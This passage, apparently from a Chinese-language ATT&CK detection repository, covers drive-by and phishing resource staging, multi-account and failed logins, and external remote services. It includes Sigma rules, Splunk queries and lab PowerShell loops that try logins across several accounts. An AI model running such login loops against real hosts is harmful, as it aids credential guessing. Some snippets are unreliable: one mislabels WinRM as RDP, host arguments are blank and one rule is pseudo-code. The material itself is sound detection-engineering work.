**网络行为监控**:通过EDR或SIEM系统,关注异常的HTTPS流量、脚本执行或与可疑域名相关的通信。 - **证书信息追踪**:利用证书透明度(CT)日志或其他服务,跟踪Internet上使用的证书,识别与攻击者基础设施相关的证书。 ## 参考推荐 - MITRE ATT&CK: T1608-003 ================================================ FILE: Windows/02资源开发/T1608.004-部署能力-部署路过式攻击资源.md ================================================ # T1608-004-部署能力-部署路过式攻击资源 ## 描述 攻击者可能准备一个操作环境,通过在用户正常浏览过程中访问恶意网站感染系统,实施路过式下载(Drive-by Compromise)攻击。用户的Web浏览器通常是攻击目标,访问攻击者控制的网站后通常无需额外用户交互即可触发漏洞利用。攻击者还可能为非漏洞利用行为设置网站,例如窃取应用程序访问令牌。实施路过式攻击前,攻击者需部署相关资源(如恶意脚本或内容),以向访问站点的用户提供漏洞利用。这些资源可能部署在攻击者控制的基础设施上,如已购买或租用的基础设施(获取基础设施T1583)或被入侵的基础设施(入侵基础设施T1584)。 攻击者可能通过以下方式部署恶意内容: - 将恶意JavaScript或其他脚本注入网页、论坛帖子或其他用户可控制的内容。 - 通过合法广告提供商制作恶意网络广告并购买广告空间,嵌入到第三方网站。 - 部署脚本分析用户浏览器,收集主机信息(如浏览器版本、插件)以确认目标是否易受攻击。 被攻陷的网站可能是特定社区(如政府、行业或地区)常访问的站点,旨在针对具有共同兴趣或行为特征的用户群体,这种攻击常被称为战略性网络入侵或水坑攻击(Watering Hole Attack)。攻击者还可能注册与合法域名相似的域名(如同形文字、域名抢注或不同顶级域),以提升攻击的隐蔽性和可信度。 ## 测试案例 暂无,仅提供辅助理解案例: 1. **水坑攻击部署恶意脚本** 攻击者将恶意JavaScript注入行业论坛网站,针对特定行业的用户,当用户访问论坛时,脚本利用浏览器漏洞(如CVE-2021-21224)执行恶意代码。 2. **恶意广告分发** 攻击者通过合法广告网络购买广告空间,嵌入恶意广告,诱导用户浏览器加载恶意内容,触发漏洞利用或收集用户凭据。(比如:银狐的经典手法) ## 检测日志 **无法有效监测** 路过式攻击资源的部署通常发生在攻击者控制或第三方基础设施上,与目标系统无直接交互,因此难以通过日志直接检测。可能相关的日志来源包括: - **网络日志**:与恶意网站或广告网络相关的异常HTTP/HTTPS流量(如异常的JavaScript请求)可能提供间接线索。 - **浏览器日志**:浏览器安全警告或异常脚本执行可能记录在客户端日志中。 - **安全软件日志**:EDR或防病毒工具可能记录浏览器漏洞利用或异常网络行为的尝试。 ## 测试复现 无具体复现方法。 ## 测试留痕 无明显留痕。 路过式攻击资源的部署通常不会在目标系统上留下直接痕迹。相关留痕可能出现在后续阶段,包括: - **漏洞利用执行**:如果攻击触发浏览器漏洞,可能在系统日志或EDR中记录异常进程或内存操作。 - **网络活动**:与恶意网站或C2服务器的通信可能生成异常网络流量,记录在IDS/IPS或网络日志中。 - **浏览器行为**:异常脚本执行或浏览器崩溃可能触发客户端安全告警。 ## 检测规则/思路 **检测规则** 无明确的检测规则。 ## 建议 ### 缓解措施 由于路过式攻击资源的部署发生在企业防御和控制范围之外,难以通过预防性措施直接缓解。以下是一些建议: 1. **浏览器安全配置** - 保持浏览器及插件(如Flash、Java)更新,修补已知漏洞。 - 禁用不必要的浏览器插件,降低攻击面。 - 示例:配置浏览器禁用JavaScript或启用沙箱模式。 2. **网络安全控制** - 部署Web过滤器或代理,阻止访问可疑或未经授权的域名。 - 使用TLS解密设备检查加密流量,识别恶意脚本或内容。 3. **用户教育** - 培训用户识别可疑网站,避免访问不受信任的链接或论坛。 4. **应用程序白名单** - 部署应用程序白名单策略,限制未经授权的脚本或可执行文件运行。 5. **系统加固** - 启用浏览器安全功能,如地址空间布局随机化(ASLR)和数据执行保护(DEP)。 - 限制用户权限,减少漏洞利用导致的损害。 ### 检测 由于此类活动通常在目标组织的可见性之外,检测工作应集中在攻击生命周期的后续阶段,包括但不限于: - **漏洞利用检测**:监控浏览器异常行为,如意外进程创建、内存操作或崩溃,识别潜在的路过式攻击。 - **网络行为监控**:通过IDS/IPS或SIEM系统,关注与可疑域名或IP的异常HTTP/HTTPS流量。 - **日志分析**:分析系统日志(如Windows事件ID 4688、5156)或浏览器日志,识别与漏洞利用或脚本执行相关的行为。 - **威胁情报整合**:利用威胁情报平台,关联已知路过式攻击的IOC(如恶意域名、IP地址或脚本哈希)。 ## 参考推荐 - MITRE ATT&CK: T1608-004 ================================================ FILE: Windows/02资源开发/T1608.005-部署能力-部署链接目标资源.md ================================================ # T1608-005-部署能力-部署链接目标资源 ## 描述 攻击者可能部署可在定向攻击期间使用的网络链接目标资源,以支持鱼叉式网络钓鱼(Spearphishing)或其他恶意活动。攻击者依赖用户点击恶意链接来泄露信息(如凭据)或获得执行权限。链接通常通过社会工程学手段分发,例如通过电子邮件发送带有诱导性文本的链接,诱使用户点击或复制URL到浏览器中。在信息侦查阶段(如鱼叉式网络钓鱼链接收集信息)或初始访问阶段(如鱼叉式网络钓鱼链接获取系统访问)之前,攻击者需为链接目标部署资源,如HTML页面、恶意脚本或文件。 链接目标资源通常是一个HTML页面,可能包含客户端脚本(如JavaScript)以动态决定向用户提供的内容。攻击者可能克隆合法网站(如组织登录页面或知名Web服务登录页面)作为链接目标,以收集用户凭据。攻击者还可能上传恶意软件,并将链接目标指向可供用户下载并执行的恶意文件。 攻击者可能在获取基础设施(T1583-获取域名)期间购买与合法域名相似的域名(如同形文字、域名抢注或不同顶级域名),以提升链接的可信度。此外,攻击者可能滥用链接缩短服务(如Bitly、TinyURL)隐藏恶意URL,增加诱导用户点击的机会。 ## 测试案例 暂无,仅提供辅助理解案例: 1. **克隆登录页面收集凭据** 攻击者克隆某银行的登录页面,部署在相似域名(如bank-login.com)上,通过鱼叉式网络钓鱼邮件诱导用户输入凭据。 2. **分发恶意文件** 攻击者通过链接缩短服务分发指向恶意可执行文件的链接,伪装成合法文档(如PDF或Office文件),诱导用户下载并执行。 ## 检测日志 **无法有效监测** 链接目标资源的部署通常发生在攻击者控制或第三方基础设施上,与目标系统无直接交互,因此难以通过日志直接检测。可能相关的日志来源包括: - **网络日志**:与恶意链接相关的HTTP/HTTPS流量(如访问可疑域名或IP)可能提供间接线索。 - **邮件日志**:邮件网关可能记录包含恶意链接的鱼叉式网络钓鱼邮件。 - **安全软件日志**:EDR或防病毒工具可能记录用户访问恶意链接后触发的异常行为(如下载可疑文件)。 ## 测试复现 无具体复现方法。 ## 测试留痕 无明显留痕。 链接目标资源的部署通常不会在目标系统上留下直接痕迹。相关留痕可能出现在后续阶段,包括: - **网络活动**:访问恶意链接可能生成异常HTTP/HTTPS流量,记录在IDS/IPS或网络日志中。 - **用户行为**:用户输入凭据或下载恶意文件可能触发浏览器安全警告或EDR告警。 - **文件系统痕迹**:下载的恶意文件可能在系统中创建临时文件,记录在文件系统日志中。 ## 检测规则/思路 **检测规则** 无明确的检测规则。 ## 建议 ### 缓解措施 由于链接目标资源的部署发生在企业防御和控制范围之外,难以通过预防性措施直接缓解。以下是一些建议: 1. **邮件安全控制** - 部署邮件网关,过滤包含可疑链接或附件的鱼叉式网络钓鱼邮件。 2. **浏览器安全配置** - 保持浏览器及插件更新,修补已知漏洞,降低鱼叉式网络钓鱼链接的成功率。 - 启用浏览器安全功能,如禁用不必要的JavaScript或启用沙箱模式。 3. **网络安全控制** - 部署Web过滤器或代理,阻止访问可疑或未经授权的域名。 - 使用TLS解密设备检查加密流量,识别恶意链接或内容。 4. **域名保护** - 监控与组织相关的可疑域名注册,检测同形文字或抢注域名,防止攻击者伪装合法网站。 - 使用域名监控服务(如DomainTools)检测可疑域名活动。 ### 检测 由于此类活动通常在目标组织的可见性之外,检测工作应集中在攻击生命周期的后续阶段,包括但不限于: - **网络钓鱼检测**:监控邮件网关日志,识别包含可疑链接或缩短URL的鱼叉式网络钓鱼邮件。 - **网络行为监控**:通过IDS/IPS或SIEM系统,关注与可疑域名或IP的异常HTTP/HTTPS流量。 - **行为监控**:通过EDR或防病毒工具,检测用户访问恶意链接后的异常行为,如凭据泄露或文件下载。 - **威胁情报整合**:利用威胁情报平台,关联已知钓鱼链接的IOC(如恶意域名、IP地址或文件哈希)。 ## 参考推荐 - MITRE ATT&CK: T1608-005 ================================================ FILE: Windows/03初始访问/T1078.003-Win-多账户同时登陆.md ================================================ # T1078-003-有效账户-多账户同时登录 ## 描述 攻击者可能获取并滥用本地账户的凭据,以实现初始访问、建立持久化、提升权限或规避防御。本地账户通常由组织配置,用于用户、远程支持、服务或管理单个系统或服务。攻击者可通过窃取本地账户凭据绕过对系统或网络资源的访问控制,甚至实现对远程系统或外部服务(如VPN、Outlook Web Access或远程桌面)的持久访问。此外,盗取的凭据可能授予攻击者更高权限,访问特定系统或网络限制区域。 攻击者可能利用本地账户进行操作系统凭据导出(如提取SAM数据库中的哈希),以提升权限或收集更多凭据。密码重用或弱密码策略可能导致多台设备成为攻击目标,为攻击者提供横向移动或提权的机会。多账户同时登录一台设备(或在短时间内登录)可能是异常行为的指标,表明攻击者正在尝试利用多个凭据进行测试或操作。 ## 测试案例 多账户同时或在同一小时内登录到同一台计算机,通常在正常网络环境中不常见,可能表明攻击者正在测试凭据或进行横向移动。 - **案例1:凭据测试** 攻击者通过暴力破解或凭据窃取获取多个本地账户,短时间内尝试在同一主机上登录以验证有效性。 - **案例2:横向移动** 攻击者利用窃取的本地账户凭据,在同一主机上使用不同账户登录,尝试提升权限或访问敏感资源。 ## 检测日志 **Windows安全日志** Windows系统中与登录相关的日志是检测多账户登录行为的关键来源: - **登录事件**: - Windows Vista及更高版本:事件ID 4624(成功登录)。 - Windows XP及更早版本:事件ID 528(交互式登录)或540(网络登录)。 - **注销事件**: - Windows Vista及更高版本:事件ID 4634(成功注销)。 - Windows XP及更早版本:事件ID 538(注销)。 - **登录类型**:关注登录类型2(交互式登录)、3(网络登录)、9(新凭据登录)和10(远程交互登录)。 有关登录类型的详细信息,可参考Microsoft的“[审核登录事件](https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc787567(v=ws.10))”页面。 ## 测试复现 1. **环境准备**: - 配置一台Windows测试主机,启用安全日志审核(事件ID 4624)。 - 创建多个本地测试账户(如user1、user2、user3)。 2. **模拟多账户登录**: - 使用脚本或手动操作,在短时间内(例如1小时内)以不同账户登录同一主机。 - 示例PowerShell脚本(模拟多个账户登录): ```powershell $credentials = @( New-Object System.Management.Automation.PSCredential("user1", (ConvertTo-SecureString "Password123" -AsPlainText -Force)), New-Object System.Management.Automation.PSCredential("user2", (ConvertTo-SecureString "Password123" -AsPlainText -Force)) ) foreach ($cred in $credentials) { Start-Process powershell -Credential $cred -ArgumentList "-Command", "Write-Output 'Login attempt'" } ``` 3. **验证日志**: - 检查Windows事件查看器中的安全日志,确认是否记录多个账户的登录事件(事件ID 4624)。 - 验证登录类型(如2、3、9、10)是否符合预期。 **注意**:此复现仅用于学习和测试目的,需在合法授权的测试环境中进行,切勿用于非法活动。 ## 测试留痕 多账户登录可能在以下日志中留下痕迹: - **Windows安全日志**:记录登录事件(事件ID 4624、528、540)和注销事件(事件ID 4634、538)。 - **登录类型**:关注交互式登录(类型2)、网络登录(类型3)、新凭据登录(类型9)和远程交互登录(类型10)。 - **异常模式**:短时间内多个账户在同一主机登录,可能是攻击者测试凭据或横向移动的迹象。 ## 检测规则/思路 **检测规则** 通过分析Windows安全日志,检测短时间内(例如1小时内)同一主机上的多账户登录行为。以下是具体思路: 1. **日志分析**: - 收集Windows安全日志,提取事件ID 4624(或528/540)的记录。 - 按主机名分组,统计1小时内登录的唯一账户数量。 2. **ES规则**: - 以下是ElasticSearch(ELK)规则,用于检测同一主机上多账户登录: ```elk users_list = search UserSession:Login users_grouped = group users_list by hostname users_grouped = from users_grouped select min(time) as earliest_time, max(time) as latest_time, count(user) as user_count multiple_logins = filter users_grouped where (latest_time - earliest_time <= 1 hour and user_count > 1) output multiple_logins ``` 3. **SIEM规则**: - 在SIEM系统中设置告警,检测同一主机在短时间内(1小时)登录的账户数超过阈值(如2个)。 - 示例Splunk查询: ```spl source="WinEventLog:Security" EventCode=4624 | bucket _time span=1h | stats dc(Account_Name) as user_count by host | where user_count > 1 ``` 4. **威胁情报整合**: - 结合威胁情报,检查登录账户是否与已知恶意活动相关(如异常的IP地址或用户代理)。 ## 建议 ### 缓解措施 由于多账户登录可能涉及合法凭据的滥用,防御需从凭据保护和访问控制入手: 1. **凭据保护** - 实施强密码策略,强制使用复杂密码并定期更换。 - 启用多因素认证(MFA),降低凭据被盗后的风险。 - 示例:为远程桌面或VPN启用MFA。 2. **访问控制** - 限制本地账户的使用,仅允许必要用户和服务账户访问特定系统。 - 使用最小权限原则,减少高权限账户的暴露。 - 示例:通过组策略限制本地管理员账户的使用。 3. **系统加固** - 禁用不必要的远程访问协议(如RDP),或限制其来源IP。 - 配置Windows防火墙,阻止未授权的网络登录尝试。 4. **用户教育** - 培训用户识别鱼叉式网络钓鱼或社会工程学攻击,避免泄露凭据。 - 教授用户定期检查账户活动,报告异常登录。 ### 检测 检测工作应集中在多账户登录的异常行为上,包括但不限于: - **登录事件监控**:分析Windows安全日志(事件ID 4624、528、540),检测短时间内多账户登录同一主机的行为。 - **异常模式识别**:通过SIEM或EDR工具,识别异常的登录类型(如类型3或10)或来自可疑IP的登录尝试。 - **行为分析**:监控与登录相关的后续行为,如凭据导出(事件ID 4672、4673)或异常进程启动。 - **威胁情报整合**:使用威胁情报平台(如VirusTotal、ThreatConnect)检查登录IP或账户是否与已知恶意活动相关。 ## 参考推荐 - MITRE ATT&CK: T1078-003 - Microsoft: 审核登录事件 ================================================ FILE: Windows/03初始访问/T1078.003-Win-来自公网的登陆失败行为.md ================================================ # T1078.003-有效账户-来自公网的登录失败行为 ## 描述 攻击者可能利用面向外部的远程服务(如VPN、Citrix、远程桌面或Windows Remote Management)实现初始访问或在网络内建立持久化。这些服务通常通过远程服务网关管理连接和凭据身份验证。攻击者可能通过凭据窃取、暴力破解或从被攻陷的企业网络中获取有效账户,以访问这些服务。成功利用远程服务可为攻击者提供冗余或持久的访问机制,绕过传统防御措施。 来自公网的登录失败行为可能表明攻击者正在尝试暴力破解、凭据填充或测试窃取的账户。此类行为可能暴露防火墙或网络边界配置的错误,允许未经授权的公网IP访问内部服务。检测此类行为有助于识别潜在的攻击尝试或配置问题。 ## 测试案例 1. **暴力破解尝试** 攻击者从公网IP对远程桌面服务(RDP)发起多次登录尝试,使用不同账户和密码组合,导致多次登录失败事件。 2. **凭据填充攻击** 攻击者使用从数据泄露中获取的凭据列表,尝试登录组织的VPN或Citrix服务,触发大量登录失败记录。 ## 检测日志 **Windows安全日志** 检测登录失败行为依赖Windows安全日志中的以下事件: - **登录失败事件**:事件ID 4625(Windows Vista及更高版本),记录账户登录失败的详细信息,包括源IP地址、账户名和失败原因。 - **登录成功事件**(辅助分析):事件ID 4624,记录成功登录,可用于对比异常登录模式。 - **注销事件**(辅助分析):事件ID 4634,记录用户注销,协助分析登录会话。 ## 测试复现 1. **环境准备**: - 配置一台Windows测试主机,启用RDP或VPN服务,并开启安全日志审核(事件ID 4625)。 - 确保主机可从公网访问(模拟暴露的远程服务)。 2. **模拟公网登录失败**: - 从外部网络(公网IP)使用错误凭据尝试登录RDP或VPN服务,触发登录失败事件。 - 示例PowerShell脚本(模拟RDP登录尝试): ```powershell $credential = New-Object System.Management.Automation.PSCredential("testuser", (ConvertTo-SecureString "WrongPassword" -AsPlainText -Force)) try { Enter-PSSession -ComputerName -Credential $credential } catch { Write-Output "Login failed" } ``` 3. **验证日志**: - 检查Windows事件查看器中的安全日志,确认事件ID 4625记录,验证源IP为公网地址(如非私有IP范围)。 **注意**:此复现仅用于学习和测试目的,需在合法授权的测试环境中进行,切勿用于非法活动。 ## 测试留痕 登录失败行为可能在以下日志中留下痕迹: - **Windows安全日志**:事件ID 4625,记录登录失败的详细信息,包括: - 源IP地址(公网IP)。 - 目标账户名。 - 失败原因(如错误密码、账户锁定)。 - **网络日志**:防火墙或IDS/IPS可能记录来自公网IP的异常连接尝试。 - **服务日志**:VPN或RDP服务日志可能记录登录失败的详细信息。 ## 检测规则/思路 **检测规则** 通过分析Windows安全日志,检测来自公网IP的登录失败行为,排除私有IP范围(如10.0.0.0/8、192.168.0.0/16)。以下是具体思路: 1. **日志分析**: - 收集事件ID 4625的日志,提取源IP地址、账户名和时间戳。 - 过滤非私有IP地址,识别来自公网的登录尝试。 2. **Sigma规则**: ```yaml title: 来自公网的登录失败行为 id: 7a2b5f7d-3c8e-4f6b-9a1a-5f4e6e0c7b2d description: 检测来自公网IP的登录失败事件,可能表明暴力破解、凭据填充或网络配置错误。 author: NVISO, 12306Br0 (翻译+测试) date: 2020/05/06 tags: - attack.initial_access - attack.persistence - attack.t1078 - attack.t1190 - attack.t1133 logsource: product: windows service: security detection: selection: EventID: 4625 # 登录失败 unknown: IpAddress|contains: '-' privatev4: IpAddress|startswith: - '10.' # 10.0.0.0/8 - '192.168.' # 192.168.0.0/16 - '172.16.' # 172.16.0.0/12 - '172.17.' - '172.18.' - '172.19.' - '172.20.' - '172.21.' - '172.22.' - '172.23.' - '172.24.' - '172.25.' - '172.26.' - '172.27.' - '172.28.' - '172.29.' - '172.30.' - '172.31.' - '127.' # 127.0.0.0/8 - '169.254.' # 169.254.0.0/16 privatev6: IpAddress: - '::1' # IPv6 loopback - 'fe80::' # link-local - 'fc00::' # unique local condition: selection and not (unknown or privatev4 or privatev6) falsepositives: - 合法的公网登录尝试(如远程员工使用VPN)。 - IPv4到IPv6映射的IP地址。 level: medium ``` 3. **SIEM规则**: - 在SIEM系统中设置告警,检测来自非私有IP的登录失败事件。 - 示例Splunk查询: ```spl source="WinEventLog:Security" EventCode=4625 NOT (src_ip IN ("10.*", "192.168.*", "172.16.*", "172.17.*", "172.18.*", "172.19.*", "172.20.*", "172.21.*", "172.22.*", "172.23.*", "172.24.*", "172.25.*", "172.26.*", "172.27.*", "172.28.*", "172.29.*", "172.30.*", "172.31.*", "127.*", "169.254.*", "::1", "fe80::*", "fc00::*")) | stats count by src_ip, dest, Account_Name ``` 4. **威胁情报整合**: - 检查登录失败事件的源IP是否与已知恶意IP相关,结合威胁情报平台(如VirusTotal、ThreatConnect)。 ## 建议 ### 缓解措施 由于公网登录失败可能涉及攻击者尝试利用远程服务,防御需从访问控制和配置加固入手: 1. **访问控制** - 限制远程服务(如RDP、VPN)的公网访问,仅允许特定IP范围(如公司VPN白名单)。 - 启用多因素认证(MFA)以降低凭据被盗的风险。 - 示例:为RDP配置网络级身份验证(NLA)。 2. **防火墙配置** - 配置防火墙规则,阻止未经授权的公网IP访问远程服务端口(如RDP的3389)。 - 使用入侵防御系统(IPS)检测暴力破解或凭据填充尝试。 3. **凭据保护** - 实施强密码策略,强制复杂密码并定期更换。 ## 参考推荐 - MITRE-ATT&CK:T1078-003 ================================================ FILE: Windows/03初始访问/T1078.003-Win-账户登录失败.md ================================================ # T1078.003-win-账户登录失败 ## 描述 攻击者可能通过凭据访问技术(如凭据窃取、暴力破解或社会工程学)获取特定用户或服务账户的凭据,用于初始访问、持久化、权限提升或防御逃避。攻击者可能针对以下三种账户: - **默认账户**:操作系统或软件的内置账户,如Windows的Guest或Administrator账户,或其他设备/软件的默认提供商账户。 - **本地账户**:由组织配置,用于用户、远程支持、服务或单个系统/服务的管理。 - **域账户**:由活动目录域服务(AD-DS)管理,权限跨域内多个系统和服务。 攻击者可能滥用本地账户凭据,通过操作系统凭据导出(如提取SAM数据库中的哈希)实现权限提升或收集更多凭据。密码重用或弱密码策略可能导致多台设备上的本地账户被滥用,为攻击者提供横向移动或提权的机会。来自单一源系统的多次登录失败可能表明攻击者正在尝试暴力破解、凭据填充或测试窃取的账户。 ## 测试案例 1. **暴力破解本地账户** 攻击者从单一源IP使用多个用户名和密码组合尝试登录Windows系统,触发多次登录失败事件(事件ID 4625)。 2. **凭据填充攻击** 攻击者使用从数据泄露中获取的凭据列表,尝试登录域账户或本地账户,导致同一工作站记录多个账户的登录失败。 ## 检测日志 **Windows安全日志** 检测账户登录失败行为依赖Windows安全日志中的以下事件: - **登录失败事件**: - Windows Vista及更高版本:事件ID 4625(本地账户登录失败)。 - Windows XP及更早版本:事件ID 529(登录失败)。 - 域账户登录失败:事件ID 4776(适用于域控制器上的NTLM认证)。 - **登录成功事件**(辅助分析):事件ID 4624,记录成功登录,用于对比异常登录模式。 - **注销事件**(辅助分析):事件ID 4634,记录用户注销,协助分析登录会话。 ## 测试复现 1. **环境准备**: - 配置一台Windows测试主机,启用安全日志审核(事件ID 4625、4776)。 - 创建多个本地账户或配置域环境,模拟真实场景。 2. **模拟登录失败**: - 从单一源系统(如测试工作站)使用错误凭据多次尝试登录本地或域账户。 - 示例PowerShell脚本(模拟登录失败): ```powershell $users = @("user1", "user2", "user3") foreach ($user in $users) { $credential = New-Object System.Management.Automation.PSCredential($user, (ConvertTo-SecureString "WrongPassword" -AsPlainText -Force)) try { Enter-PSSession -ComputerName -Credential $credential } catch { Write-Output "Login failed for $user" } } ``` 3. **验证日志**: - 检查Windows事件查看器中的安全日志,确认事件ID 4625或4776记录,验证是否记录多个账户的登录失败及源工作站信息。 **注意**:此复现仅用于学习和测试目的,需在合法授权的测试环境中进行,切勿用于非法活动。 ## 测试留痕 账户登录失败可能在以下日志中留下痕迹: - **Windows安全日志**: - 事件ID 4625:记录本地账户登录失败,包含源IP、账户名和失败原因。 - 事件ID 4776:记录域账户NTLM认证失败,包含工作站名和账户信息。 - **网络日志**:防火墙或IDS/IPS可能记录来自单一源的多次登录尝试。 - **服务日志**:远程服务(如RDP)可能记录登录失败的详细信息。 ## 检测规则/思路 **检测规则** 通过分析Windows安全日志,检测单一源系统在短时间内(例如24小时)尝试多个账户登录失败的行为。以下是具体思路: 1. **日志分析**: - 收集事件ID 4625(本地账户登录失败)和4776(域账户登录失败)的日志。 - 按工作站名分组,统计唯一账户数量,检测异常模式(如单一源尝试多个账户)。 2. **Sigma规则**: ```yaml title: 从单一源系统使用不同账户登录失败 id: 8b4e6c3a-9f2d-4a1e-b7c5-2e9a8d4f6e3b description: 检测单一源系统尝试多个用户账户登录失败,可能表明暴力破解或凭据填充。 date: 2020/06/09 tags: - attack.persistence - attack.privilege_escalation - attack.t1078.003 logsource: product: windows service: security detection: selection1: EventID: - 4625 # Windows Vista及以上,登录失败 - 529 # Windows 2003及以下,登录失败 UserName: '*' WorkstationName: '*' selection2: EventID: 4776 # 域账户NTLM认证失败 UserName: '*' Workstation: '*' timeframe: 24h condition: - selection1 | count(UserName) by WorkstationName > 3 - selection2 | count(UserName) by Workstation > 3 falsepositives: - 终端服务器或Citrix服务器场等多用户系统 - 用户频繁切换账户的工作站 - 合法的测试或管理活动 level: medium ``` 3. **SIEM规则**: - 在SIEM系统中设置告警,检测单一工作站在24小时内尝试登录的账户数超过阈值。 - 示例Splunk查询: ```spl source="WinEventLog:Security" EventCode IN (4625, 529, 4776) | bucket _time span=24h | stats dc(Account_Name) as user_count by Workstation_Name | where user_count > 3 ``` 4. **威胁情报整合**: - 检查登录失败事件的源IP或工作站是否与已知恶意活动相关,结合威胁情报平台(如VirusTotal、ThreatConnect)。 ## 建议 ### 缓解措施 由于账户登录失败可能表明攻击者尝试利用有效账户,防御需从凭据保护和访问控制入手: 1. **凭据保护** - 实施强密码策略,强制使用复杂密码并定期更换。 - 启用多因素认证(MFA),降低凭据被盗后的风险。 - 示例:为RDP或VPN启用MFA。 2. **账户锁定策略** - 配置账户锁定策略,限制登录失败次数(如5次失败后锁定账户30分钟)。 - 示例Windows组策略设置: - 路径:`计算机配置->Windows设置->安全设置->账户策略->账户锁定策略` 3. **访问控制** - 限制本地账户和域账户的使用,仅允许必要用户和服务账户访问特定系统。 - 使用最小权限原则,减少高权限账户的暴露。 4. **网络安全控制** - 配置防火墙规则,限制远程服务(如RDP的3389端口)的访问,仅允许白名单IP。 - 使用入侵防御系统(IPS)检测暴力破解或凭据填充尝试。 5. **用户教育** - 培训用户识别鱼叉式网络钓鱼或社会工程学攻击,避免泄露凭据。 - 教授用户定期检查账户活动,报告异常登录尝试。 ### 检测 检测工作应集中在登录失败的异常行为上,包括但不限于: - **登录失败监控**:分析Windows安全日志(事件ID 4625、4776),检测单一源尝试多个账户登录失败的行为。 - **异常模式识别**:通过SIEM或EDR工具,识别高频登录失败或来自可疑IP/workstation的尝试。 - **行为分析**:监控与登录失败相关的后续行为,如凭据导出(事件ID 4672、4673)或异常进程启动。 - **威胁情报整合**:利用威胁情报平台,关联登录失败的源IP或账户是否与已知恶意活动相关。 ### 建议阈值调整 - **根据业务需求调整阈值**:默认规则中阈值为单一源24小时内尝试超过3个账户,可根据实际环境(如多用户系统或高频登录场景)调整为更高阈值(如5个账户)。 - **排除误报**:识别合法多用户场景(如终端服务器、Citrix环境),通过白名单排除误报。 ## 参考推荐 - MITRE ATT&CK: T1078-003 ================================================ FILE: Windows/03初始访问/T1133-外部远程服务.md ================================================ # T1133-外部远程服务 ## 描述 攻击者可能利用面向外部的远程服务实现初始访问或在企业网络内建立持久化。远程服务包括但不限于虚拟专用网络(VPN)、Citrix、远程桌面协议(RDP)、Windows Remote Management(WinRM)以及安全壳协议(SSH)。这些服务允许用户从外部位置连接到内部企业网络资源,通常通过远程服务网关管理连接和凭据身份验证。 攻击者通常需要有效账户凭据才能访问这些服务,凭据可能通过多种方式获取,例如凭据窃取(T1555)、暴力破解(T1110)、社会工程学(如鱼叉式网络钓鱼,T1566)或在攻陷企业网络后从用户处获取(引自:Volexity Virtual Private Keylogging)。利用远程服务,攻击者可获得冗余或持久的访问机制,绕过传统防御措施,增强隐蔽性。 ## 测试案例 1. **VPN凭据滥用** 攻击者使用窃取的VPN账户凭据从异常地理位置登录,尝试访问企业网络资源。 2. **RDP暴力破解** 攻击者对暴露的RDP服务(端口3389)进行暴力破解,尝试使用常见用户名和密码组合登录。 3. **SSH异常登录** 攻击者利用泄露的SSH密钥或凭据,从非预期IP地址登录Linux服务器。 ## 检测日志 检测外部远程服务滥用需依赖以下日志来源: - **VPN日志**:记录VPN连接的成功和失败尝试,包括源IP、用户名和时间戳。 - **RDP日志**:Windows安全日志(事件ID 4624/4625)记录RDP登录的成功和失败事件。 - **SSH日志**:Linux系统中的`/var/log/auth.log`或`/var/log/secure`记录SSH登录尝试。 - **防火墙/IDS/IPS日志**:记录与远程服务相关的网络连接尝试。 - **身份验证日志**:企业身份验证系统(如Active Directory、RADIUS)记录用户认证活动。 ## 测试复现 1. **环境准备**: - 配置测试环境,包括VPN服务器、RDP服务(Windows主机)或SSH服务(Linux主机)。 - 启用日志记录(Windows事件日志、Linux auth日志、VPN服务器日志)。 2. **模拟异常登录**: - 从非预期IP地址尝试使用有效或无效凭据登录VPN、RDP或SSH服务。 - 示例PowerShell脚本(模拟RDP登录尝试): ```powershell $credential = New-Object System.Management.Automation.PSCredential("testuser", (ConvertTo-SecureString "Password123" -AsPlainText -Force)) try { Enter-PSSession -ComputerName -Credential $credential } catch { Write-Output "RDP login failed" } ``` - 示例SSH登录尝试(Linux): ```bash ssh testuser@ ``` 3. **验证日志**: - 检查Windows安全日志(事件ID 4624/4625)、Linux auth日志或VPN日志,确认是否记录异常登录尝试及源IP。 **注意**:此复现仅用于学习和测试目的,需在合法授权的测试环境中进行,切勿用于非法活动。 ## 测试留痕 外部远程服务滥用可能在以下日志中留下痕迹: - **Windows安全日志**: - 事件ID 4624:成功登录,记录登录类型(如RDP的类型10)。 - 事件ID 4625:登录失败,记录源IP、用户名和失败原因。 - **Linux SSH日志**: - `/var/log/auth.log`或`/var/log/secure`:记录SSH登录成功或失败,包括源IP和用户名。 - **VPN日志**: - 记录连接尝试的源IP、用户名、时间戳和认证结果。 - **网络日志**: - 防火墙或IDS/IPS记录与远程服务端口(如3389、22、443)的异常连接。 ## 检测规则/思路 **检测规则** 通过分析身份验证日志,检测异常的远程服务访问模式,如非正常工作时间的登录、来自异常地理位置的尝试或高频登录失败。以下是具体思路: 1. **日志分析**: - 收集VPN、RDP和SSH的身份验证日志,提取源IP、用户名、时间戳和登录结果。 - 识别异常模式,如非工作时间登录、异常地理位置或单一源IP的高频失败尝试。 2. **Sigma规则**(检测RDP异常登录): ```yaml title: 检测来自异常IP的RDP登录尝试 id: 9c3e7a2b-4f1d-4e8c-a9b3-6d5f7e0c8a1e description: 检测来自非预期IP地址的RDP登录尝试,可能表明凭据滥用或暴力破解。 date: 2025/06/06 tags: - attack.initial_access - attack.persistence - attack.t1133 logsource: product: windows service: security detection: selection: EventID: - 4624 # 成功登录 - 4625 # 登录失败 LogonType: 10 # RDP登录 filter_private_ip: IpAddress|startswith: - '10.' - '192.168.' - '172.16.' - '172.17.' - '172.18.' - '172.19.' - '172.20.' - '172.21.' - '172.22.' - '172.23.' - '172.24.' - '172.25.' - '172.26.' - '172.27.' - '172.28.' - '172.29.' - '172.30.' - '172.31.' - '127.' - '169.254.' condition: selection and not filter_private_ip falsepositives: - 合法远程员工从公网IP登录 - 第三方服务提供商的合法访问 level: medium ``` 3. **SIEM规则**(检测VPN/SSH异常登录): - 在SIEM系统中设置告警,检测非工作时间或异常IP的登录尝试。 - 示例Splunk查询: ```spl source="WinEventLog:Security" EventCode IN (4624, 4625) LogonType=10 NOT src_ip IN ("10.*", "192.168.*", "172.16.*", "172.17.*", "172.18.*", "172.19.*", "172.20.*", "172.21.*", "172.22.*", "172.23.*", "172.24.*", "172.25.*", "172.26.*", "172.27.*", "172.28.*", "172.29.*", "172.30.*", "172.31.*", "127.*", "169.254.*") | stats count by src_ip, Account_Name, _time ``` - 示例Linux SSH日志查询: ```bash grep "sshd.*Failed" /var/log/auth.log | awk '{print $NF}' | sort | uniq -c ``` 4. **威胁情报整合**: - 